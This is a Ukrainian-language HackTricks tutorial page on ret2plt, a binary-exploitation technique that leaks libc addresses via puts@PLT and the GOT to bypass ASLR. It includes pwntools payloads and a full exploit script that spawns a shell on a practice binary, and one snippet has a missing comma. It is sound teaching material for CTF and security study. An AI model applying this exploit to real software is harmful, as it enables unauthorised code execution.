# Ret2plt
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: [**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Вивчайте та практикуйте взлом GCP: [**Навчання HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримайте HackTricks
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
{% endhint %}
## Основна інформація
Метою цієї техніки є **витік адреси функції з PLT**, щоб обійти ASLR. Це тому, що, наприклад, якщо ви витікаєте адресу функції `puts` з libc, ви потім можете **обчислити базу `libc`** та обчислити зміщення для доступу до інших функцій, таких як **`system`**.
Це можна зробити за допомогою пакету `pwntools`, наприклад ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (глобальній таблиці зміщень). Це тому, що на момент, коли `puts` друкує запис GOT `puts`, цей **запис буде містити точну адресу `puts` в пам'яті**.
Також зверніть увагу, як адреса `main` використовується в експлойті, тому коли `puts` завершує своє виконання, **бінарний файл знову викликає `main` замість виходу** (таким чином витік адреси залишиться дійсним).
{% hint style="danger" %}
Зверніть увагу, що для цього працювати **бінарний файл не може бути скомпільований з PIE** або вам потрібно мати **витік для обходу PIE**, щоб знати адресу PLT, GOT та main. В іншому випадку спочатку потрібно обійти PIE.
{% endhint %}
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був остаточний експлойт з того **прикладу**:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Інші приклади та посилання
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64-бітна, увімкнена ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім ROP-гаджет для виклику `system('/bin/sh')`.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64-бітна, увімкнена ASLR, без канарейки, переповнення стеку в main від дочірньої функції. ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.